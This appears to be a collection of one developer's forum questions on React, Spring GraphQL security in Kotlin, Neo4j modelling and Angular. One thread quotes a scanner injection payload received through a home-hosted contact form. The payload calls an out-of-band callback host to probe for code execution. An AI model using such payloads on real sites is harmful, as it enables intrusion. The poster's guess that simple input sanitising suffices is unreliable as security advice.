Pieter Jansens

Thanks Les, same to you and the other members of the forum.
I figured it out what the issue was, I was executing the code in the .then() of the submit, moving it to a useEffect solved the issue

Einstein defines madness as "Doing the same thing over and over again whilest expecting different results"

So explain to me why a method when executed the second time works as expected, while when executed the first time with the same parameters, it fails?

Context: I'm loging in from a react frontend to a springboot graphql backend. The response from the backend is twice the same, what it should be. Yet for some reason when first executed this if method isn't executed:
if (data?.login){     auth?.saveToken(data.login)     navigate('/')  }

the response:
{    "data": {        "login": "eyJhbGciOiJIUzUxMiJ9.eyJyb2xlcyI6WyJST0xFX0FETUlOIl0sInN1YiI6Impvc2tlIiwiaWF0IjoxNzAzNDQyMzQzLCJleHAiOjE3MDM1Mjg3NDMsImp0aSI6ImY5ODcxYjQ1LTcwNjYtNDQ3ZS05OWRjLWFlOThmNDBhMWIyMiJ9.LzUVLZIPvJNUnJqMq0GW-HbIW65EfsFyATE0pTC-guc1_8Q-QIFkzwtkdwm5B7a47R8DhkhR3tK5K8H2I52I8w"    } }

When working with nosql db, neo4j, is it better to keep a single object or a list?
For example: Imagen a forum, users have posts and thoose posts have comments placed by a user.
How would you guys design that? Would you keep a user object in post and a post and user in commments or would you keep a list of posts in users, a list of comments in posts and, then still you would have to descide if you keep a list of comments in user, or keep a user in comments.

I designed it first with a single object, but I use graphql and for schemamapping keeping lists seems more effecient?

@Schemamapping returns the entity and it's relationschips, but does it only return relationships defined in the node or also more complex relationships?

As I stated in the original question, once I mark the class as open, it compiles, but my service isn't autowired

This is the full stacktrace:
org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'userController' defined in file [D:\OneStopCoding\projecten\forum\target\classes\com\onestopcoding\forum\resolvers\UserController.class]: Could not generate CGLIB subclass of class com.onestopcoding.forum.resolvers.UserController: Common causes of this problem include using a final class or a non-visible class at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:608) ~[spring-beans-6.1.1.jar:6.1.1] at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:523) ~[spring-beans-6.1.1.jar:6.1.1] at org.springframework.beans.factory.support.AbstractBeanFactory.lambda$doGetBean$0(AbstractBeanFactory.java:325) ~[spring-beans-6.1.1.jar:6.1.1] at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:234) ~[spring-beans-6.1.1.jar:6.1.1] at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:323) ~[spring-beans-6.1.1.jar:6.1.1] at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:199) ~[spring-beans-6.1.1.jar:6.1.1] at org.springframework.beans.factory.support.DefaultListableBeanFactory.preInstantiateSingletons(DefaultListableBeanFactory.java:973) ~[spring-beans-6.1.1.jar:6.1.1] at org.springframework.context.support.AbstractApplicationContext.finishBeanFactoryInitialization(AbstractApplicationContext.java:946) ~[spring-context-6.1.1.jar:6.1.1] at org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:616) ~[spring-context-6.1.1.jar:6.1.1] at org.springframework.boot.web.servlet.context.ServletWebServerApplicationContext.refresh(ServletWebServerApplicationContext.java:146) ~[spring-boot-3.2.0.jar:3.2.0] at org.springframework.boot.SpringApplication.refresh(SpringApplication.java:753) ~[spring-boot-3.2.0.jar:3.2.0] at org.springframework.boot.SpringApplication.refreshContext(SpringApplication.java:455) ~[spring-boot-3.2.0.jar:3.2.0] at org.springframework.boot.SpringApplication.run(SpringApplication.java:323) ~[spring-boot-3.2.0.jar:3.2.0] at org.springframework.boot.SpringApplication.run(SpringApplication.java:1342) ~[spring-boot-3.2.0.jar:3.2.0] at org.springframework.boot.SpringApplication.run(SpringApplication.java:1331) ~[spring-boot-3.2.0.jar:3.2.0] at com.onestopcoding.forum.ForumApplication.main(ForumApplication.java:16) ~[classes/:na] at java.base/jdk.internal.reflect.DirectMethodHandleAccessor.invoke(DirectMethodHandleAccessor.java:104) ~[na:na] at java.base/java.lang.reflect.Method.invoke(Method.java:578) ~[na:na] at org.springframework.boot.devtools.restart.RestartLauncher.run(RestartLauncher.java:50) ~[spring-boot-devtools-3.2.0.jar:3.2.0] Caused by: org.springframework.aop.framework.AopConfigException: Could not generate CGLIB subclass of class com.onestopcoding.forum.resolvers.UserController: Common causes of this problem include using a final class or a non-visible class at org.springframework.aop.framework.CglibAopProxy.buildProxy(CglibAopProxy.java:227) ~[spring-aop-6.1.1.jar:6.1.1] at org.springframework.aop.framework.CglibAopProxy.getProxy(CglibAopProxy.java:160) ~[spring-aop-6.1.1.jar:6.1.1] at org.springframework.aop.framework.ProxyFactory.getProxy(ProxyFactory.java:110) ~[spring-aop-6.1.1.jar:6.1.1] at org.springframework.aop.framework.autoproxy.AbstractAutoProxyCreator.buildProxy(AbstractAutoProxyCreator.java:517) ~[spring-aop-6.1.1.jar:6.1.1] at org.springframework.aop.framework.autoproxy.AbstractAutoProxyCreator.createProxy(AbstractAutoProxyCreator.java:464) ~[spring-aop-6.1.1.jar:6.1.1] at org.springframework.aop.framework.autoproxy.AbstractAutoProxyCreator.wrapIfNecessary(AbstractAutoProxyCreator.java:369) ~[spring-aop-6.1.1.jar:6.1.1] at org.springframework.aop.framework.autoproxy.AbstractAutoProxyCreator.postProcessAfterInitialization(AbstractAutoProxyCreator.java:318) ~[spring-aop-6.1.1.jar:6.1.1] at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.applyBeanPostProcessorsAfterInitialization(AbstractAutowireCapableBeanFactory.java:437) ~[spring-beans-6.1.1.jar:6.1.1] at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.initializeBean(AbstractAutowireCapableBeanFactory.java:1778) ~[spring-beans-6.1.1.jar:6.1.1] at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:601) ~[spring-beans-6.1.1.jar:6.1.1] ... 18 common frames omitted Caused by: java.lang.IllegalArgumentException: Cannot subclass final class com.onestopcoding.forum.resolvers.UserController at org.springframework.cglib.proxy.Enhancer.generateClass(Enhancer.java:653) ~[spring-core-6.1.1.jar:6.1.1] at org.springframework.cglib.core.DefaultGeneratorStrategy.generate(DefaultGeneratorStrategy.java:26) ~[spring-core-6.1.1.jar:6.1.1] at org.springframework.cglib.core.ClassLoaderAwareGeneratorStrategy.generate(ClassLoaderAwareGeneratorStrategy.java:57) ~[spring-core-6.1.1.jar:6.1.1] at org.springframework.cglib.core.AbstractClassGenerator.generate(AbstractClassGenerator.java:366) ~[spring-core-6.1.1.jar:6.1.1] at org.springframework.cglib.proxy.Enhancer.generate(Enhancer.java:575) ~[spring-core-6.1.1.jar:6.1.1] at org.springframework.cglib.core.AbstractClassGenerator$ClassLoaderData.get(AbstractClassGenerator.java:127) ~[spring-core-6.1.1.jar:6.1.1] at org.springframework.cglib.core.AbstractClassGenerator.create(AbstractClassGenerator.java:317) ~[spring-core-6.1.1.jar:6.1.1] at org.springframework.cglib.proxy.Enhancer.createHelper(Enhancer.java:562) ~[spring-core-6.1.1.jar:6.1.1] at org.springframework.cglib.proxy.Enhancer.createClass(Enhancer.java:407) ~[spring-core-6.1.1.jar:6.1.1] at org.springframework.aop.framework.ObjenesisCglibAopProxy.createProxyClassAndInstance(ObjenesisCglibAopProxy.java:62) ~[spring-aop-6.1.1.jar:6.1.1] at org.springframework.aop.framework.CglibAopProxy.buildProxy(CglibAopProxy.java:218) ~[spring-aop-6.1.1.jar:6.1.1] ... 27 common frames omitted Process finished with exit code 1

If it wouldn't be, intellij would tell me so, but yes it is

This class works fine:
@Controller class UserController( private val userService: UserService) {    @MutationMapping    fun register(@Argument input: User): User {        return userService.save(input)    }    @QueryMapping    fun userByUsername(@Argument username: String): User {        return userService.findByUsername(username)    }   // @PreAuthorize("hasRole('ADMIN')")    @QueryMapping    fun allUsers():List<User>{        return userService.findAll()    } }
But once I uncomment the PreAUthorize annotation ithe program dosn't compile anymore.
Could not generate CGLIB subclass of class com.onestopcoding.forum.resolvers.UserController: Common causes of this problem include using a final class or a non-visible class
When i mark de controllerClass as open, it compiles, but when executing the methods my userservice isn't autowired.... Any ideas?

If i change the header to Bearer Authentication I'm getting this error:
{  "errors": [    {      "message": "Failed to execute 'fetch' on 'Window': Invalid name",      "stack": "TypeError: Failed to execute 'fetch' on 'Window': Invalid name\n    at https://unpkg.com/graphiql/graphiql.min.js:71239:36\n    at Generator.next (<anonymous>)\n    at resume (https://unpkg.com/graphiql/graphiql.min.js:71157:16)\n    at https://unpkg.com/graphiql/graphiql.min.js:71151:37\n    at new Promise (<anonymous>)\n    at i.<computed> [as next] (https://unpkg.com/graphiql/graphiql.min.js:71150:14)\n    at https://unpkg.com/graphiql/graphiql.min.js:64267:28"    }  ] }
That's in graphiql, in the console I'm not getting any errors, but the query isn't executed neighter

I trying to establish a basic security set up for a graphqlApi using a neo4j db.
I able to register and to login, after login in I get the correct Authentication, but for some reasson when I preAuthorize my qerries with a role I'm getting an unauthorized.
This is what I have so far:
@Configuration class AppSecurity(    private val rsaKeys: RSAKeyProperties,    @Lazy    private val userService: UserService, ) {    @Bean    fun securityWebFilterChain(        httpSecurity: HttpSecurity,    ): SecurityFilterChain {        return httpSecurity.csrf { it.disable() }            .cors { it.disable() }            .authorizeHttpRequests { it.anyRequest().permitAll() }            .build()    }    @Bean    fun passwordEncoder(): PasswordEncoder {        return PasswordEncoderFactories.createDelegatingPasswordEncoder()    }    @Bean    fun authManager(): AuthenticationManager {        val authProvider = DaoAuthenticationProvider()        authProvider.setUserDetailsService(userService)        authProvider.setPasswordEncoder(passwordEncoder())        return ProviderManager(authProvider)    }    @Bean    fun jwtDecoder(): JwtDecoder {        return NimbusJwtDecoder.withPublicKey(rsaKeys.publicKey()).build()    }    @Bean    fun jwtEncoder(): JwtEncoder {        val jwk: JWK = RSAKey.Builder(rsaKeys.publicKey()).privateKey(rsaKeys.privateKey()).build()        val jwks: JWKSource<SecurityContext> = ImmutableJWKSet(JWKSet(jwk))        return NimbusJwtEncoder(jwks)    }    @Bean    fun corsConfigurationSource(): CorsConfigurationSource {        val configuration = CorsConfiguration()        configuration.allowedOrigins = listOf("*")        configuration.allowedMethods = listOf("*")        configuration.allowedHeaders = listOf("*")        val source = UrlBasedCorsConfigurationSource()        source.registerCorsConfiguration("/**", configuration)        return source    } }

@Component class JwtUtil(private val encoder: JwtEncoder,              private val authenticationManager: AuthenticationManager) {    fun generateToken(authentication: Authentication): String {        val now = Instant.now()        val scope = authentication            .authorities            .stream()            .map { obj: GrantedAuthority -> obj.authority }            .collect(Collectors.joining(" "))        val claims = JwtClaimsSet.builder()            .issuer("self")            .issuedAt(now)            .expiresAt(now.plus(1, ChronoUnit.HOURS))            .subject(authentication.name)            .claim("scope", scope)            .build()        return encoder.encode(JwtEncoderParameters.from(claims)).tokenValue    }    fun validateToken(password: String, username: String): Authentication {        val res = UsernamePasswordAuthenticationToken(username, password)        res.details = res.principal        return authenticationManager.authenticate(res)    } }

@Node class User(    @Id    private val email: String,    private val username: String,    private var password: String,    var roles: String = "ROLE_ADMIN",    var createdAt: LocalDateTime?=null,    var updatedAt: LocalDateTime? = null ) : UserDetails {    ... }

The userservice implements the UserDetailService

@Controller class LoginController(@Lazy private val jwtUtil: JwtUtil) {    @MutationMapping    fun login(@Argument username: String, @Argument password: String): String {        val auth = jwtUtil.validateToken(password, username)        if (auth.isAuthenticated) {            return jwtUtil.generateToken(auth)        }        throw BadCredentialsException("Wrong login credentials")    } }

@Controller class UserController(@Lazy private val userService: UserService) {    @QueryMapping    fun userByUsername(@Argument username: String): User? {        return userService.findByUsername(username)    }    @PreAuthorize("hasRole('ADMIN')")    @QueryMapping    fun getAllUsers():List<User>{        return userService.getAllUsers()    }    @MutationMapping    fun register(@Argument input: User): User {        return userService.save(input)    } }
when i print the auth: UsernamePasswordAuthenticationToken [Principal=com.onestopcoding.graphqlsecuritydemo.nodes.User@e27b2f, Credentials=[PROTECTED], Authenticated=true, Details=Pietje, Granted Authorities=[ROLE_ADMIN]]
It could be as simple as passing the wrong header: I'm passing: "x-auth-token". Any ideas?

It's a pure html and css website, the only php I use is the mailscript and to display a message after the contactform is sent
I'm not doing anythin at all with the information besides mailling it to myself
He left a fingerprint though he used Acunetix Website Security Scanner to scan for vunerabilities and I have his account name

this is an example mail:
Name: "+"A".concat(70-3).concat(22*4).concat(103).concat(78).concat(105).concat(78)+(require"socket" Socket.gethostbyname("hitag"+"aywwlqjded174.bxss.me.")[3].to_s)+" Email: email Subject: msg_subject Message: message

I should express myself better. I guess he (or she) didn't traverse the path by sending emails, they used it to some how explore my files and then used the browser to navigate

Except from making sure my inputfields match the required regular expression, this is the main thing I do know I didn't before:
function test_input($data) {    $data = trim($data);    $data = stripslashes($data);    $data = htmlspecialchars($data);    return $data; }

By stripping all Backslashes and converting special charachters to htmlentitities, I should be able to prevent users from executing scripts on my server, I guess that should be enough?

I detected the attack cause I got spammed with email. When checking the emails I noticed he was using the name and subjectline of the contactform to navigate my path.
I instictively shut my server down, more so cause I never came across it, I actually didn't know what was happening, I just knew something wasn't right.
A googlesearch later it seems like textbook pathtraversal. I started by validating the inputfileds of my form better, i think that would be the first and most important step?!
And that's about how far I got so far

I'm hosting a small website on a xamppserver at home, yes I know, you shouldn't use xampp in production, but it's a simpe informatical website.
Be as it may yesterday someone managed by sending emails through the contactform to traverse the path and open files on my computer.
I noticed what he was doing before he could any harm. it's my first attack and the question rices how to IU prevent visitors from exploiting my path?

This is my first angular experience and I was following an online tutorial. It's a simple servermanagerapp, everything works as expected, but to save a new server we had to use a form in a model and like it was explained in the tutorial, I couldn't make it work, so I had to improvise and had to place to modal in a seperate component. The modal is working, it calls the correct method and I'm able to get the formdata, but in the save method it is suposed to call my service to make the apicall, for some reasson it isn't called. In webstorm I can see, by pressing ctrl en clicking, that it points to the correct service(method). I have no console-errors and no idea what I'm doing wrong, any help would grately be appreciated.

My PopupComponent.ts
import { Component } from '@angular/core'; import {NgForm} from "@angular/forms"; import {Server} from "../../interfaces/server"; import {BehaviorSubject, catchError, map, Observable, of, startWith} from "rxjs"; import {AppState} from "../../interfaces/app.state"; import {CustomResponse} from "../../interfaces/customResponse"; import {ServerService} from "../../services/server.service"; import { Status } from 'src/app/enums/status.enum'; import { DataState } from 'src/app/enums/data.state.enum'; import {MatDialogRef} from "@angular/material/dialog"; @Component({  selector: 'app-popup',  templateUrl: './popup.component.html',  styleUrls: ['./popup.component.css'] }) export class PopupComponent {    isLoading = new BehaviorSubject<Boolean>(false);    isLoading$ = this.isLoading.asObservable();    appState$: Observable<AppState<CustomResponse>>;    readonly Status = Status;     dataSubject = new BehaviorSubject<CustomResponse>(null);    constructor(private serverService: ServerService, public dialogRef: MatDialogRef<PopupComponent>) {    }    saveServer(serverForm: NgForm){        this.isLoading.next(true);        this.appState$ = this.serverService.save$(serverForm.value as Server).pipe(            map(response => {                console.log(response)                this.dataSubject.next({ ...response, data: { Servers: [response.data.Server, ...this.dataSubject.value.data.Servers]}})      document.getElementById('closeModal').click();                serverForm.resetForm({status: this.Status.SERVER_DOWN});                this.isLoading.next(false);                return {dataState: DataState.LOADED, appData: response}        }),        startWith({dataState: DataState.LOADED, appData: this.dataSubject.value}),            catchError((err: string) => {                this.isLoading.next(false);                return of({dataState: DataState.ERROR, error: err})            })        )    } }

My Service:
import {Injectable} from "@angular/core"; import {HttpClient} from "@angular/common/http"; import {catchError, Observable, tap} from "rxjs"; import {CustomResponse} from "../interfaces/customResponse"; import {Server} from "../interfaces/server"; import {Status} from "../enums/status.enum"; @Injectable({providedIn: 'root'}) export class ServerService {  private readonly apiUri = 'http://localhost:8080/servers/';  constructor(private http: HttpClient) {  }  servers$ = <Observable<CustomResponse>>    this.http.get<CustomResponse>(`${this.apiUri}list`)      .pipe(        tap(console.log),        catchError(err => {          console.log(err);          throw new Error("Method not implemented")        }));  save$ = (server: Server) => <Observable<CustomResponse>>    this.http.post<CustomResponse>(`${this.apiUri}save`, server)      .pipe(        tap(console.log),        catchError(err => {          console.log(err);          throw new Error("Method not implemented")        }));  ping$ = (ip: string) => <Observable<CustomResponse>>    this.http.get<CustomResponse>(`${this.apiUri}ping/${ip}`)      .pipe(        tap(console.log),        catchError(err => {          console.log(err);          throw new Error("Method not implemented")        }));  filter$ = (status: Status, response: CustomResponse) => <Observable<CustomResponse>>    new Observable<CustomResponse>(      subscriber => {        subscriber.next(status === Status.ALL ? {...response, message: `servers filtered by ${status}`} :          {            ...response, message: response.data.Servers.filter(server => server.status === status).length > 0 ?              `servers filtered by ${status}` : 'No servers with status ${status} found.',            data: {Servers: response.data.Servers.filter(server => server.status === status)}          })        subscriber.complete();      }    ).pipe(      tap(console.log),      catchError(err => {        console.log(err);        throw new Error("Method not implemented")      }));  delete$ = (serverId: number) => <Observable<CustomResponse>>    this.http.delete<CustomResponse>(`${this.apiUri}delete/${serverId}`)      .pipe(        tap(console.log),        catchError(err => {          console.log(err);          throw new Error("Method not implemented")        })); }

MyAppComponent
import {ChangeDetectionStrategy, Component, OnInit} from '@angular/core'; import {BehaviorSubject, catchError, map, Observable, of, startWith} from "rxjs"; import {CustomResponse} from "./interfaces/customResponse"; import {AppState} from "./interfaces/app.state"; import {ServerService} from "./services/server.service"; import {DataState} from "./enums/data.state.enum"; import {Status} from "./enums/status.enum"; import {Server} from "./interfaces/server"; import {MatDialog, MatDialogConfig} from "@angular/material/dialog"; import {PopupComponent} from "./component/popup/popup.component"; @Component({  selector: 'app-root',  templateUrl: './app.component.html',  styleUrls: ['./app.component.css'],  changeDetection: ChangeDetectionStrategy.OnPush }) export class AppComponent implements OnInit {  appState$: Observable<AppState<CustomResponse>>;  readonly DataState = DataState;  readonly Status = Status;  private filterSubject = new BehaviorSubject<String>('');  filterStatus$ = this.filterSubject.asObservable();  private isLoading = new BehaviorSubject<Boolean>(false);  isLoading$ = this.isLoading.asObservable();  private dataSubject = new BehaviorSubject<CustomResponse>(null);  constructor(private serverService: ServerService, private dialog: MatDialog) {  }  ngOnInit(): void {    this.appState$ = this.serverService.servers$      .pipe(        map(response => {          this.dataSubject.next(response);          return {dataState: DataState.LOADED, appData: response}        }),        startWith({dataState: DataState.LOADING}),        catchError((err: string) => {          return of({dataState: DataState.ERROR, error:err})        })      )  }  ping(ipAddress: string): void {    this.filterSubject.next(ipAddress);    this.appState$ = this.serverService.ping$(ipAddress)      .pipe(        map(response => {          this.dataSubject.value.data.Servers[this.dataSubject.value.data.Servers.findIndex(            server => server.id === response.data.Server.id          )] = response.data.Server;          this.filterSubject.next("");          return {dataState: DataState.LOADED, appData: this.dataSubject.value}        }),        startWith({dataState: DataState.LOADED, appData: this.dataSubject.value}),        catchError((err: string) => {          this.filterSubject.next("");          return of({dataState: DataState.ERROR, error:err})        })      )  }  filter(status: Status): void {    this.appState$ = this.serverService.filter$(status, this.dataSubject.value)      .pipe(        map(response => {          return {dataState: DataState.LOADED, appData: response}        }),        startWith({dataState: DataState.LOADED, appData: this.dataSubject.value}),        catchError((err: string) => {          this.filterSubject.next("");          return of({dataState: DataState.ERROR, error:err})        })      )  }

With the appcomponent there aren't any issues, I'm just giving a full overview of what I''m doing. The appcomponent is also able to correctly execute all methods. In the tutorial he keeps everything in one component, but that shouldn't be an issue right? He also uses modal, I wasn't able to implement it, so I went for matDialog